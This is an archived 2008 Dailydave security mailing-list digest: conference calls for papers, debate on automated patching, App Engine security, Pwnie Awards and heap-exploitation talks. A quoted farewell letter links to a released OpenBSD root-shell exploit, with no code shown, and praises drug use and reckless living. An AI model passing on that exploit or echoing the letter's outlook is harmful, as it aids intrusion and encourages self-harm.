From fukami at ccc.de Tue Jul 1 04:35:50 2008 From: fukami at ccc.de (fukami) Date: Tue, 1 Jul 2008 10:35:50 +0200 Subject: [Dailydave] CFP 25C3 - The 25th Chaos Communication Congress 2008 Message-ID: <00785805-F7F1-40C6-9D20-9A888C797095@ccc.de> The 25th Chaos Communication Congress (25C3) ============================================ is the annual four-day conference organized by the Chaos Computer Club (CCC) in Berlin, Germany. First held in 1984, it since has established itself as "The European Hacker Conference", attracting a diverse audience of thousands of hackers, scientists, artists, and utopists from all around the world. We want you to join and be a part of this unique event which serves as a public platform for cross-culture inspiration and borderless networking. 25C3 is fun! Topics ====== The 25C3 conference program is roughly divided into six general categories. These categories serve as guidelines for your submissions (and later as a means of orientation for your prospective audience). However, it is not mandatory for your talk to exactly match the descriptions below. Anything that is interesting and/or funny will be taken into consideration. Hacking ------- The "Hacking" category addresses topics dealing with technology, concentrating on current research with high technical merit. Traditionally, the majority of all lectures at 25C3 revolve around hacking. Topics in this domain include but are in no way limited to: programming, hardware hacking, cryptography, network and system security, security exploits, and creative use of technology. Making ------ The "Making" category is all about making and breaking things and the wonderful stuff you can build in your basement or garage. Most welcome are submissions dealing with the latest in electronics, 3D-fabbing, climate-change survival technology, robots and drones, steam machines, alternative transportation tools and guerilla-style knitting. Science ------- The "Science" category covers current or future objects of scientific research that have the potential to radically change our lives, be it basic research or projects conducted for the industry. We are looking for talks and papers on the state of the art in this domain, covering subjects such as nano technology, quantum computing, high frequency physics, bio-technology, brain-computer interfaces, automated analysis of surveillance cctv, etc. Society ------- Technology development causes great changes in society and will determine our future. This category is for all talks on subjects like hacker tools and the law, surveillance practices, censorship, intellectual property and copyright issues, data retention, software patents, effects of technology on kids, and the impact of technology on society in general. Culture ------- Shaping the world we live in means making it more interesting, entertaining and beautiful. The hacker culture has many facets ranging from electronic art objects, stand-up comedy, geek entertainment, video game and board game culture, music, 3D art to e-text literature and beyond. If you like to show your art and teach others how to make their lives more enjoyable, this category is for you. Community --------- In addition to individual speakers the Chaos Communication Congress is also inviting groups such as developer teams, projects and activists to present themselves and their topics. Developer groups are also encouraged to ask for support to hold smaller on-site developer conferences and meetings in the course of the Congress. Further Information =================== The Chaos Communication Congress is a non-profit oriented event and speakers are not paid. However, financial help on travel expenses and accommodation is possible. It needs to be agreed upon after acceptance of the submission, though. Don't be shy and state your requirements in the application when submitting your lecture and we'll work something out! You can find the preliminary agenda and additional information on our 25C3 website at http://events.ccc.de/congress/2008/. For further information and questions please feel free to contact 25c3-content at cccv.de Submissions =========== All proposals must be submitted online using our online lecture submission system at https://cccv.pentabarf.org/submission/25C3. Please follow the instructions given there. If you have any questions regarding your submission, feel free to contact us at 25c3-content at cccv.de but do NOT submit your lecture via e-mail. Language ======== 25C3 is an international event and we want to have a lot of interesting talks in English for the benefit of our growing number of international guests. So ideally we are looking for speakers who can give lectures and/or workshops in either English or German. But while we are interested in maximizing the quality of presentations, the topic and its relevance to our community are our main concern. So don't worry about your English skills: the language of a submission is not a criteria for accepting or rejecting it! If you feel insecure talking in English, have received criticism on your language skills from your audience before, or if you just fear that the value and understandability of your lecture might suffer, please offer your talk in German. Please tell us if you are a native speaker of English or have similar skills, when submitting your lecture. Papers ====== Accepted speakers can optionally hand in a paper which will be published with an ISBN in the 25C3 Proceedings. Papers will be accepted in Portable Document Format (PDF) only and should be around 5 pages. The PDF file must not be password-protected or contain other restrictions. Paper size should be DIN A4 in portrait orientation. All margins must be set to at least 2 cm (0.78 inches). Pictures should be greyscale and up to 300dpi. Apart from that, you are free to use any layout you want. Slides ====== Accepted speakers are asked to hand in slides used in their talks. Please use a well-known format for your slides. Publication =========== Audio and video recordings of the lectures will be published online in various formats. The Chaos Communication Congress Proceedings are published on paper and online. Only reviewed and accepted talks and presentations will be published. All material will be available under the Creative Commons Attribution-NonCommercial-NoDerivs 2.0 Germany (BY-NC-ND) license allowing free non-commercial redistribution of the material as long as the original credit to authors and publishers is retained. Licence URI: http://creativecommons.org/licenses/by-nc-nd/2.0/de/ We encourage contributors to publish their work under a more liberal license; if you wish to do so, please state this with your submission. Dates and Deadlines =================== The deadline for submission is October 5th, 2008 Midnight (23:59) UTC. Notification of acceptance will be sent by e-mail on November 7th, 2008 the latest. However, you may very well get your notification earlier than that if needed. Final papers or slides are due by November 18th, 2008. - October 5th, 2008 (Midnight UTC) Submission due - November 7th, 2008 (Midnight UTC) Final notification of acceptance (or earlier) - November 28th, 2008 (Midnight UTC) Final papers due - December 27th - 30th, 2008 Chaos Communication Congress Lecture Requirements ==================== Lectures should not exceed 45 minutes plus up to 10 minutes for questions and answers. Longer time slots are possible if we feel the topic demands it (please tell us if necessary). Workshops should include a talk on the basic principles in the lecture programm and a practical hands-on session in the workshop room. Criteria which must be met to consider a lecture ================================================ - submission is in time - for the event all fields in the general and the description tab are filled out - for the person all fields in the descripion tab are filled out Criteria by which we assess a lecture ===================================== - we consider the topic in general relevant for the participants - we consider the topic currently relevant for the participants - we consider the topic interesting, fun and worthy to be known more about - the lecture is about something the speaker made himself - we think the lecture might be fun - the lecture is part of a workshop (has a second part which is a workshop) - the lecture presents something new - the more information provided about the lecture and the speaker the better Criteria by wich we NOT assess a lecture ======================================== - the language - need for financal help on travel expenses From sohlow at gmail.com Tue Jul 1 16:30:25 2008 From: sohlow at gmail.com (solemn) Date: Tue, 1 Jul 2008 15:30:25 -0500 Subject: [Dailydave] The final countdown In-Reply-To: References: Message-ID: tldr... for being the first animated exploit evar...it was pretty gay. i'm kind of offended that it wasn't anything cool like i've always hoped would come from you. there's prolly a better tool today, but back in bbs dayz... a shitty ansimation created w/ thedraw looked better than this shiz. so plz if anybody is going to do "DA WORLD'S SECOND ANIMATED EXPLOIT", plz plz lz put some more heart into the animation itself rather than the email that announces it. tx -me On Mon, Jun 30, 2008 at 10:12 PM, Lance M. Havok wrote: > Before I write my true, final farewell letter (jokes aside), I will > put some links to the exploit I promised to release months ago. I just > didn't have the thrill to finish it and publish it, so I've used the > version I found in some random hard disk, and the original movie. > > http://lul-disclosure.net/exploits/openbsdjizz.c > http://lul-disclosure.net/lulz/openbsdjizz-the_movie.html > > It's for OpenBSD 4.0 and it indeed gives you a root shell. Don't ask > me for help about reading the source code. Yes, it's the first > animated exploit on Earth as far as I know. Lul-disclosure is not > under my control, even though I'm a dormant member of the staff since > I pretty much enjoy the idea of 'lulzhats' (neither blackhats nor > whitehats, and hats are awkward). Please give props to those guys. Now > let's get to my rather long letter... > > It's been a long wait. It's been a long time since I coded my first > exploit back when I was about 10 and clueless about mostly everything > else. It's been roughly 7 years doing this kind of stuff non-stop, > using a handful nicknames and avoiding public recognition under my > signature as much as possible. After all, nicknames are volatile and > using an alias makes sure I don't get too proud of myself. Polishing > my tongue-in-cheek humor and ironic comedy. Learning languages one > after another and feeling like they were all the same, just to end up > using them all at once and grow incurably insane. It's been a great > time of using my slightly obnoxious bipolar disorder for something > productive and have a fucking blast with it. It's been a great amount > of really high highs and really low lows, not hitting the pipes but > almost there. > > At some point I realized It was time to change towards another > direction and my lifestyle didn't really fit well with investing long > periods of time in front of a machine. I was talking the other day > with my friend Mr. B, and I tried to explain this weird philosophy of > mine, of how we've been given the opportunity to live for a short > period of time, and how the 6k million people on this planet can't > waste their life pretending to live them like a cheap scripted drama. > > I refuse to accept the idea of running my life like if anything I > could do would change anything in this world. Whether we like it or > not, we ain't unique snowflakes. Today there's nothing you can do that > hasn't been done some other way before. Confidence, betrayal, trust, > friendship... history has got enough stories of all of them and just > because you ignore it doesn't mean they won't happen again to you. > When I say scripted life, It's pretty much a short set of steps that > repeat over and over in mostly every human being out there: > > 1. Your parents have sex. You literally 'happen' (yeah, you've never > been a tick in a calendar, we are mostly accidents and that's it). > 2. You get born. Welcome to Planet Dust, have a nice fucking day! > 3. You start babbling your first words, start walking and go to kindergarten. > 4. You start going to school. Damn, that was fun shit. > 5. You start high school. First kiss, maybe first sex experience > nowadays (alright, if you are a nerd or look like one then this won't > happen, sorry, life's hard). > 6. You finish high school and enroll in a nice looking college, and > your mom prepares a nice looking cake for you. > 7. You finish college and get a stable girlfriend. > 8. You get married with this Elisabeth girl who prepares incredible apple pies. > 9. You have kids. > 10. ???? > 11. No profit. The story repeats once again. > > So basically we have this choice: either live the short period of time > you've been given to do so, in a manner that is unique and absolutely > different from that of most other people, or conform to the norm and > be a potential frustrated individual for the rest of your repetitive > life. Let's imagine for a second that you have terminal cancer and an > expected life span of 3 months. Are you going to spend them getting a > degree? Avoiding drugs? Avoiding conflict and potentially risky > activities? Playing nice and talking politically correct, even though > you feel like crashing your car away? No way in hell, you will try to > have a blast and experiment almost anything out there. You will do > drugs, you will risk your ass to death (after all, it's inevitable, > and that way you have a little control about how it's gonna happen or > where, probably not a hospital room). > > Security is becoming pretty much the opposite of that. The true sense > of hacking is dead. Very few people if anyone truly does it for the > shake of doing it. I resigned from my security industry job past year > and made the decision to avoid doing this for a paycheck. And also > enjoyed the freedom of being able to tell people to shut the fuck up > and not worry about my 'professional reputation' being tarnished. I > could care less. So many people in the industry don't say a word just > because they believe their reputation might be tarnished. Others > simply play better in this happy world of 'everyone is neat and fuzzy' > (even though they might despise each other to the bone). > > I don't come from a low end family (actually, the opposite, which > represented further trouble with my rather rebellious attitudes), and > I did have a rather expensive education (until I dropped out, after > getting my high school diploma). I had the opportunity to go through > one of those boring IQ tests (WISC-R if anyone cares, score is > irrelevant since everyone knows I'm mentally troubled in several > ways!) and found out that I didn't want to join Mensa's chocolate club > when I was offered to. I freaking hate chocolate. I had access to > expensive equipment (my mother indeed paid for that SPARC64 1U rack > box, thanks mom!) and I was given literature since I was pretty much > around 4-5. I was talking and writing by that age anyway (and yeah, I > was drawing penises like any normal kid out there, though the fact > that I still do it is clearly not 'normal' per se, but my friends > enjoy the barbecues). And I still despise being pushed towards living > through steps I didn't find the least appealing. And no, I don't have > a police record. I'm clean as a pearl and hard as a pillow! Just > kidding, but I'm clean. I swear. Well, maybe a battery but that was > all. > > My current age is irrelevant as well, but don't let the juvenile style > fool you. I emancipated at 16 and started working early as well, and > for some time I truly believed in this whole idea of 'having a stable > life'. That was until I tried it. It didn't feel like it was the kind > of thing you want to run for 30 years. 20 years. 10 years. Definitely > not. Nowadays we are obsessed with extending lifespan. We want to live > forever. That's pretty much bullshit. > > Like it's said in Moby Dick (man the harpoons!)... life is only > meaningful thanks to contrast. You can't feel warm if you don't feel > cold in some part of your body. In the same fashion as you can't feel > comfort if you don't experience disgusting situations once in a while. > It's not really about "Life Fast, Die Young" (and leave a corpse in > any case, obviously), it's more about being sure you've truly *lived* > when you are about to die. A long lifespan won't help you to find the > necessary contrast between experiencing life and having a meaningless, > futile one. You can't appreciate the time you've been given here > without knowing it's gonna be short and intense. > > And you will likely ask yourself if I'm not on crack, meth or some > other hardcore shit while I'm writing this. Not really. I just feel > there's talent out there, and a lot of potential, being wasted working > in office cubicles. Being forced to live the way they are 'supposed' > to, and not how they would really like. Just because someone has been > in jail, doesn't mean that person is a waste. Just because you look > Arab doesn't mean you want to blow up a freaking circus, and just > because you work in the security industry doesn't mean you have to > take all the bullshit moving around it. > > I just feel I'm pretty much done wasting my time with several things > and people around information security, and that it's the right time > to let someone else take the role of bringing some humor and joy over > here, like GOBBLES did in the past, among several others (likely > better than me, I'm such a poser!). There will be always people like > Dave, Brad, Mr. R, the turkey, and some others that keep it real and > fun, but there will be always people that have nothing better to do > than cringing, ranting and talking bullshit about someone else or > their work. And there will be me again some day, haha! > > Keep hacking alive, life fast, and don't let the bullshit get to you. > And remember.... it's better to burnout than fade away! (no, this > ain't a suicide note, just in case ;P) > > Yours truly, > Lance, the guy who writes long letters and prints them on toilet paper. > _______________________________________________ > Dailydave mailing list > Dailydave at lists.immunitysec.com > http://lists.immunitysec.com/mailman/listinfo/dailydave > From dave at immunityinc.com Tue Jul 1 17:50:58 2008 From: dave at immunityinc.com (Dave Aitel) Date: Tue, 01 Jul 2008 17:50:58 -0400 Subject: [Dailydave] Twitter: (verb) to fail under exponential growth In-Reply-To: <79348E23E9D34F4F8032010B2913D72B0123BDF4@NexusCore.Veracode.local> References: <4867BD1E.9010901@immunityinc.com> <79348E23E9D34F4F8032010B2913D72B0123BDF4@NexusCore.Veracode.local> Message-ID: <486AA6C2.4010704@immunityinc.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Chris Eng wrote: | Oh come on, you know the answer to that. Because things break. Same | reason people don't run WAFs in prevent mode, same reason IPS isn't more | popular. Source/binary tools could patch automatically, in theory, but | in order to measure whether it broke something, you have to have an | extremely robust regression suite. My thought is this, to avoid getting into the specifics than annoy everyone: People tend to think they can "manage" their networks or their application security, but their management skills are scaling linearly and the problem is scaling exponentially and they can only throw money at it for so long. When people talk about a "self-healing network" what they mean is "we can't afford to manage exponentially growing problems - those problems have to manage themselves". Of course, Immunity does offense, not defense, and I'm having to translate here from my native language. Where you want a self-healing network, we are creating a self-attacking network, and so on. Having looked at the problem of exponential growth from the attacker's side, I'm trying to posit the defender's part of the issue. Marc Maiffret says """ Because we have tools that can already pinpoint code problems but companies are too lazy to care to get them fixed. """ I don't think it's because they're too lazy at all. I think it's because the understanding I need to have of the whole system to fix that one bug grows exponentially with the size of the system. Every year we write bigger and bigger systems which means the bugs get exponentially larger and at some point the cost of fixing any one bug is larger than we care to take on. Specific to application security, yes, things will break if you automatically patch them, but this is true of humans patching things as well. Patching a vulnerability depends on knowing what it is. For some values of "know" this process is trivial, and for some it's not. I think it's a very automatable problem, either in the binary or in the source. The only way to really argue the "can do" side is to do it, of course. :> - -dave -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFIaqbCtehAhL0gheoRAg+LAJ0W5jmkba9eGT+252Yk035DbmvvTgCdEtU6 7Z0D5nuCGFmCiNFtOolxz+w= =Bg0c -----END PGP SIGNATURE----- From craig.balding at gmail.com Wed Jul 2 03:31:09 2008 From: craig.balding at gmail.com (Craig Balding) Date: Wed, 2 Jul 2008 09:31:09 +0200 Subject: [Dailydave] Interview with Guido van Rossum about Google App Engine Message-ID: Hi all, After seeing Justin Ferguson present on flaws in interpreted language runtimes [http://eusecwest.com/esw08/esw08-ferguson.ppt] at eusecwest, I approached Guido for an interview about App Engine / Python / Security. http://cloudsecurity.org/2008/07/01/cloudsecurityorg-interviews-guido-van-rossum-google-app-engine-python-and-security/ Cheers Craig -- Craig Balding http://securitywannabe.com/blog/ http://cloudsecurity.org/ -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.immunitysec.com/pipermail/dailydave/attachments/20080702/82ca6cb9/attachment.htm From pmelson at gmail.com Wed Jul 2 10:18:46 2008 From: pmelson at gmail.com (Paul Melson) Date: Wed, 2 Jul 2008 10:18:46 -0400 Subject: [Dailydave] Twitter: (verb) to fail under exponential growth In-Reply-To: <486AA6C2.4010704@immunityinc.com> References: <4867BD1E.9010901@immunityinc.com> <79348E23E9D34F4F8032010B2913D72B0123BDF4@NexusCore.Veracode.local> <486AA6C2.4010704@immunityinc.com> Message-ID: <000001c8dc4e$8af0dd20$a0d29760$@com> > My thought is this, to avoid getting into the specifics than annoy > everyone: People tend to think they can "manage" their networks or their > application security, but their management skills are scaling linearly > and the problem is scaling exponentially and they can only throw money > at it for so long. When people talk about a "self-healing network" what > they mean is "we can't afford to manage exponentially growing problems - > those problems have to manage themselves". You can (and, for the foreseeable future, will) continue to "throw money" at it for as long as your organization needs IT to function. There is no financial failure point for security today. There's no point at which the CFO and the auditors come down and unplug the [web application] firewall and say, "Why bother? No security is cheaper than some security." When people buy concepts (and the underlying products) like "self-healing" networks, what they really mean is, "we're technologists, and we believe in automation over staffing." It's natural enough, but as you point out, it doesn't tend to work well, and never has. > Of course, Immunity does offense, not defense, and I'm having to > translate here from my native language. Where you want a self-healing > network, we are creating a self-attacking network, and so on. Having > looked at the problem of exponential growth from the attacker's side, The same goes for this. Automated attacks are efficient, but against the same target, their value quickly declines over time. I can only assume that the same will be shown true for automated code analysis. I envision a future where "Direct Use of Threads" is the new "ICMP timestamp replies from router" finding. :-) PaulM From trygve at pogostick.net Wed Jul 2 01:43:29 2008 From: trygve at pogostick.net (Trygve Aasheim) Date: Wed, 02 Jul 2008 07:43:29 +0200 Subject: [Dailydave] Twitter: (verb) to fail under exponential growth In-Reply-To: <486AA6C2.4010704@immunityinc.com> References: <4867BD1E.9010901@immunityinc.com> <79348E23E9D34F4F8032010B2913D72B0123BDF4@NexusCore.Veracode.local> <486AA6C2.4010704@immunityinc.com> Message-ID: <486B1581.9030803@pogostick.net> Dave Aitel wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > Marc Maiffret says > """ > > Because we have tools that can already > pinpoint code problems but companies are too lazy to care to get them fixed. > > """ > > I don't think it's because they're too lazy at all. I think it's because the understanding I need to have of the whole system to fix that one bug grows exponentially with the size of the system. Every year we write bigger and bigger systems which means the bugs get exponentially larger and at some point the cost of fixing any one bug is larger than we care to take on. > > Specific to application security, yes, things will break if you automatically patch them, but this is true of humans patching things as well. Patching a vulnerability depends on knowing what it is. For some values of "know" this process is trivial, and for some it's not. I think it's a very automatable problem, either in the binary or in the source. The only way to really argue the "can do" side is to do it, of course. :> You see a lot of companies where the administrators aren't allowed to patch either. It's not that they're lazy or the job is to big, or that they don't see how to actually perform the task on 14.000 servers. It's because their managers wants them to focus on uptime, and jumping new servers to serve projects and new deployments. Patching can't be measured in anything that a manager really cares about, while the ability to deliver to projects and support time2market is easy to measure. So patching only comes in during error handling, and then its usually only a functionality patch for a NIC or an application component. Not an evaluation and patch run on the system as a whole. And yeah, uptime == patching in the way we see things. But as long as security breaches don't take down a system, breaks an SLA or surfaces in a way that gets a lot of people attention - a manager is not measured on it. From where I see it, its job protection for us. ;) Cheers, T From alex at sotirov.net Wed Jul 2 13:58:16 2008 From: alex at sotirov.net (Alexander Sotirov) Date: Wed, 2 Jul 2008 10:58:16 -0700 Subject: [Dailydave] Interview with Guido van Rossum about Google App Engine In-Reply-To: References: Message-ID: <20080702175816.GA18180@dsl093-068-005.sfo1.dsl.speakeasy.net> On Wed, Jul 02, 2008 at 09:31:09AM +0200, Craig Balding wrote: > After seeing Justin Ferguson present on flaws in interpreted language > runtimes [http://eusecwest.com/esw08/esw08-ferguson.ppt] at eusecwest, I > approached Guido for an interview about App Engine / Python / Security. The entire interview can be summarized as "Sorry, we cannot divulge any information about what we did to secure App Engine, but we did stuff. Trust us." This is the worst kind of PR talk and I'm really disappointed that it's coming from somebody who is actually capable of discussing the real technical issues. Alex -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 194 bytes Desc: not available Url : http://lists.immunitysec.com/pipermail/dailydave/attachments/20080702/d49fad99/attachment.pgp From jf at danglingpointers.net Wed Jul 2 23:51:39 2008 From: jf at danglingpointers.net (jf) Date: Thu, 3 Jul 2008 03:51:39 +0000 (UTC) Subject: [Dailydave] Interview with Guido van Rossum about Google App Engine In-Reply-To: <20080702175816.GA18180@dsl093-068-005.sfo1.dsl.speakeasy.net> References: <20080702175816.GA18180@dsl093-068-005.sfo1.dsl.speakeasy.net> Message-ID: When I found out the interview was getting piped through google pr, my interest in participating dropped. It's too bad because it probably could've been an interesting dialogue. I don't fault either Crag or Guido for this, its just the nature of the beast (and a sad testament to the way things have become). That said, it is my understanding that the google guys who saw my talk @ esw were initially there to attack me, this is based off of second hand knowledge, but none of the people who told me they were going around bragging before my talk about what they were going to do have given me any reason to disbelieve them. That said, it didn't actually occur, the only person from Google who spoke to me was Chris Evans, who was very nice and polite. I'm not sure if this was encouraged by their employer or not, but it certainly further damaged my opinion of the company. If anyone wants to approach the subject without their corporate sponsorship, I would be more than happy to discuss so long as it is an honest dialogue that isn't just another attempt at sales/marketing/et cetera. On Wed, 2 Jul 2008, Alexander Sotirov wrote: > Date: Wed, 2 Jul 2008 10:58:16 -0700 > From: Alexander Sotirov > To: dailydave at lists.immunitysec.com > Subject: Re: [Dailydave] Interview with Guido van Rossum about Google App > Engine > > On Wed, Jul 02, 2008 at 09:31:09AM +0200, Craig Balding wrote: > > After seeing Justin Ferguson present on flaws in interpreted language > > runtimes [http://eusecwest.com/esw08/esw08-ferguson.ppt] at eusecwest, I > > approached Guido for an interview about App Engine / Python / Security. > > The entire interview can be summarized as "Sorry, we cannot divulge > any information about what we did to secure App Engine, but we did > stuff. Trust us." > > This is the worst kind of PR talk and I'm really disappointed that > it's coming from somebody who is actually capable of discussing > the real technical issues. > > Alex > From jf at danglingpointers.net Wed Jul 2 23:59:07 2008 From: jf at danglingpointers.net (jf) Date: Thu, 3 Jul 2008 03:59:07 +0000 (UTC) Subject: [Dailydave] Interview with Guido van Rossum about Google App Engine In-Reply-To: References: Message-ID: Also, here are the updated slides with some errors/ex-employer bashing/etc removed: http://www.danglingpointers.net/presentations/esw08/advances-08.ppt On Wed, 2 Jul 2008, Craig Balding wrote: > Date: Wed, 2 Jul 2008 09:31:09 +0200 > From: Craig Balding > To: dailydave at lists.immunitysec.com > Subject: [Dailydave] Interview with Guido van Rossum about Google App Engine > > Hi all, > > After seeing Justin Ferguson present on flaws in interpreted language > runtimes [http://eusecwest.com/esw08/esw08-ferguson.ppt] at eusecwest, I > approached Guido for an interview about App Engine / Python / Security. > > http://cloudsecurity.org/2008/07/01/cloudsecurityorg-interviews-guido-van-rossum-google-app-engine-python-and-security/ > > Cheers > Craig > From jf at danglingpointers.net Fri Jul 4 03:06:35 2008 From: jf at danglingpointers.net (jf) Date: Fri, 4 Jul 2008 07:06:35 +0000 (UTC) Subject: [Dailydave] Interview with Guido van Rossum about Google App Engine In-Reply-To: References: Message-ID: Just as a slight follow-up, because I hate making it appear that someone was incorrect when they were probably not, after talking to Chris it appears the information I was given about Google's intentions were not entirely correct and that what I was told was 'fight mongering', all apologies to anyone whose taken a hit for my mistaken impressions. On Thu, 3 Jul 2008, jf wrote: > Date: Thu, 3 Jul 2008 03:59:07 +0000 (UTC) > From: jf > To: Craig Balding > Cc: dailydave at lists.immunitysec.com > Subject: Re: [Dailydave] Interview with Guido van Rossum about Google App > Engine > > Also, here are the updated slides with some errors/ex-employer bashing/etc removed: > > http://www.danglingpointers.net/presentations/esw08/advances-08.ppt > > > On Wed, 2 Jul 2008, Craig Balding wrote: > > > Date: Wed, 2 Jul 2008 09:31:09 +0200 > > From: Craig Balding > > To: dailydave at lists.immunitysec.com > > Subject: [Dailydave] Interview with Guido van Rossum about Google App Engine > > > > Hi all, > > > > After seeing Justin Ferguson present on flaws in interpreted language > > runtimes [http://eusecwest.com/esw08/esw08-ferguson.ppt] at eusecwest, I > > approached Guido for an interview about App Engine / Python / Security. > > > > http://cloudsecurity.org/2008/07/01/cloudsecurityorg-interviews-guido-van-rossum-google-app-engine-python-and-security/ > > > > Cheers > > Craig > > > _______________________________________________ > Dailydave mailing list > Dailydave at lists.immunitysec.com > http://lists.immunitysec.com/mailman/listinfo/dailydave > From brett.moore at insomniasec.com Sun Jul 6 23:33:52 2008 From: brett.moore at insomniasec.com (Brett Moore) Date: Mon, 7 Jul 2008 15:33:52 +1200 Subject: [Dailydave] Heaps About Heaps Message-ID: <009101c8dfe2$4a538690$defa93b0$@moore@insomniasec.com> Just back from SyScan Singapore, which once again was filled with great speakers on a variety of topics. If you were not there, and are in the Singapore area then I highly recommend going along next year. Our presentation detailing some heap exploitation techniques for Windows 2003 can be found in the publications section of the Insomnia web site. http://www.insomniasec.com/releases/whitepapers-presentations Thanks to Thomas for once again putting on a great conference, and taking care of the speakers. Brett From alex at sotirov.net Tue Jul 8 04:36:45 2008 From: alex at sotirov.net (Alexander Sotirov) Date: Tue, 8 Jul 2008 01:36:45 -0700 Subject: [Dailydave] Pwnie Awards 2008 Message-ID: <20080708083645.GA401@dsl093-068-005.sfo1.dsl.speakeasy.net> The Pwnie Awards ceremony will return to the BlackHat USA 2008 conference in Las Vegas. Last year's inagural event was a lot of fun, and we hope it will only get better. What should you expect from this year's ceremony? Exciting new categories, an inspirational acceptance speech by the winner of the Lamest Vendor Award and a special sing-along lead by HD Moore! The Pwnie Awards is an annual awards ceremony celebrating the achivements and failures of security researchers and the wider security community. We're currently accepting nominations in nine award categories, including two new ones for this year: * Best Server-Side Bug * Best Client-Side Bug * Mass 0wnage * Most Innovative Research * Lamest Vendor Response * Most Overhyped Bug * Best Song * Most Epic FAIL (new for 2008) * Lifetime Achievement award for hackers over 30 (new for 2008) The deadline for nominations is Monday, July 14. To submit a nomination, visit the Pwnie Awards site at http://pwnie-awards.org/ For questions, please email info at pwnie-awards.org Alexander Sotirov -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 194 bytes Desc: not available Url : http://lists.immunitysec.com/pipermail/dailydave/attachments/20080708/3780581d/attachment.pgp From kiwicon at kiwicon.org Thu Jul 10 09:34:25 2008 From: kiwicon at kiwicon.org (Kiwicon Crue) Date: Fri, 11 Jul 2008 01:34:25 +1200 Subject: [Dailydave] Kiwicon CFP 2k8 - Update Message-ID: <48760FE1.1040005@kiwicon.org> [----------------------------------------------------------------------] _.-.. __ .__ .__ ,'9 )\)`-.,.--. | | _|__|_ _ _|__| ____ ____ ____ 2k8 `-.| `. | |/ / \ \/ \/ / |/ ___\/ _ \ / \ \, , \) | <| |\ /| \ \__( <_> ) | \ `. )._\ (\ |__|_ \__| \/\_/ |__|\___ >____/|___| / |// `-,// \/ \/ \/ ]|| //" "" "" BAAAAAAaaaa!!11 [-------------------------------------------------- www.kiwicon.org----] Holy sheepshit, internets! Blanket-Man[1] has wrung out his loin cloth and is ready to fly-tackle more nerds with large egos and irc handles. Yes, it's time to open up your ~/haxing folder and get your talk together for Kiwicon 2k8! We've put out the black t-shirts, and deflated some satellite radomes, so where, as our more criminal yet fetchingly bikini clad cousins might say, the bloody hell are you? The Kiwicon Cr?e is proud to announce the call for presenters for the second installment of New Zealand's very own security conference: Kiwicon 2k8. [CFP Update] Despite being a community con, Kiwicon is now pleased, if not delighted to the point of gratuitous Morris dancing to be able to offer financial support for travel to a limited number of speakers. More details are available in the Submission section below. We've already had a number of great talks submitted, and slots are filling fast. Those of you attending cons this year will already be aware of the number of Kiwis presenting - AusCERT, Shakacon, Syscan, Blackhat, Defcon, Ruxcon - you should see these guys in their natural habitat. They drop more 0day, wear tighter pants, and are 30% more likely to coyly flutter their eyelashes at you. [About] Kiwicon2k8 is intended to be an informal conference, drawing on the wider security community of Australia and New Zealand. It will be held in Wellington, New Zealand, on the weekend of the 27th and 28th of September, 2008. Kiwicon's focus is on sharing information; ideas, code, and good whisky, in a rabelaisan carnival of security, nerdery, and *nix beards. Last year, the inaugural Kiwicon ended up being kind of a big deal: highlights included tmasky's mighty Crackstation, the debut of Beau Butler as an "ethical hacker" making Microsoft "look like turkeys", and of course the Kiwicon Hax0r Quiz, with the winner taking the grand prize of An Illustrated Guide to the Commoner Skin Diseases. Hope it came in handy for the post-con diagnosis phase, dude. This year, Kiwicon's own Bogan is already making anti-virus vendors quake in their little signature-laden booties at Defcon's Race to Zero, and the cauldron of 0h-0h-0hday in Brett Moore's secret Insomnia lair is bubbling over with pernicious brew. If you missed last Kiwicon (not "professional enough"? couldn't convince your boss it wasn't a hoax?) then find one of the 230+ people who were there and ask them if they're just-not-gonna-bother this year. [Venue] Our hosts for the weekend will, once again, be Victoria University of Wellington. If you have any memory of last year's Kiwicon, then it'll look disturbingly familiar. The campus has the advantage of being close to the center of the city and its' various amenities. This includes cheap accommodation, good coffee, and, more importantly, several good pubs serving good, non-Australian, beer. [Costs] Kiwicon2k8 is a non-profit, non-commercial, non-corporate-funded event. Attendance for the entire weekend will cost $50 for employed individuals (self-employed and salaried). There is a discounted rate of $30 for students and the unemployed. GST receipts can be issued upon request. If your management can't be convinced of the value of something that only costs $50, we're happy to issue you with some kind of personalised limited edition invitation in crayon, glitter pen, and macaroni (spray-painted gold for that luxe look) for the low enterprise-only price of $500. [Topics] Suggested topics include but are not limited to: - Crowd Control Techniques and Panic Modeling - Information Warfare / Industrial Espionage - Malware (Viruses, Spam, Phishing, Botnets) - Cellular Networks (GSM,GPRS,CDMA,3G,4G) - Application Security, Testing, Fuzzing - Government Spy Networks / Surveillance - Nanotechnology / Quantum Computing - Access Control and Authentication - Wireless / Bluetooth / Infrared - Social Engineering / Trolling - Breaking EAL Certified Kit - Forensics / Antiforensics - Banking / ATMs / Carding - Exploitation Techniques - Layer 1/2/3 Nastiness - Reverse Engineering - Phreaking / VoIP - Virtualisation - Web Security - Lockpicking - Biometrics - Hypnosis - Crypto - Ohday - 23 There is no pre-determined talk length but we ask that speakers limit their presentation to an hour, including some question time. Kiwicon is a non-profit organisation, so generally funding is not available for travel and accommodation. However, we have a limited number of travel support packages available: 1 x NZ$1500 for a speaker from outside Australasia or the South Pacific 1 x NZ$750 for a speaker from Australia or the South Pacific 3 x NZ$250 for speakers from New Zealand These are available only to full length (>45min) speakers paying their own way. No speaking-in-a-corporate-capacity, no company logos on the slides and no industry weaseling. These stipends are for amateurs, crackpots, ecclesiasticals, students and other miserable doss-down-under-the-motorway-bridge-oh-my-goodness-two-cardboard-boxes-just-for-me? riff-raff. If you look too much like you should be hanging out between the pages of Men's Style magazine (and we know who you are), then we reserve the right to pick someone a trifle more threadbare. Organiser decision is final, no correspondence will be corresponded, and Sharrow has to think your existence does not constitute a putrefying abscess in the nostril of humanity. If you are a corporate sellout, however, a formal letter will be provided for employer leverage. Either way, unless you're a complete jackoff, people will try and buy you beer. To submit a presentation to Kiwicon2k8, send an email to cfp at kiwicon.org with the following information: Name or Handle: Country of Residence: Employer (if applicable): Presentation Title: Presentation Length: Presentation Synopsis: Brief Bio: Do Want Fat Cash: 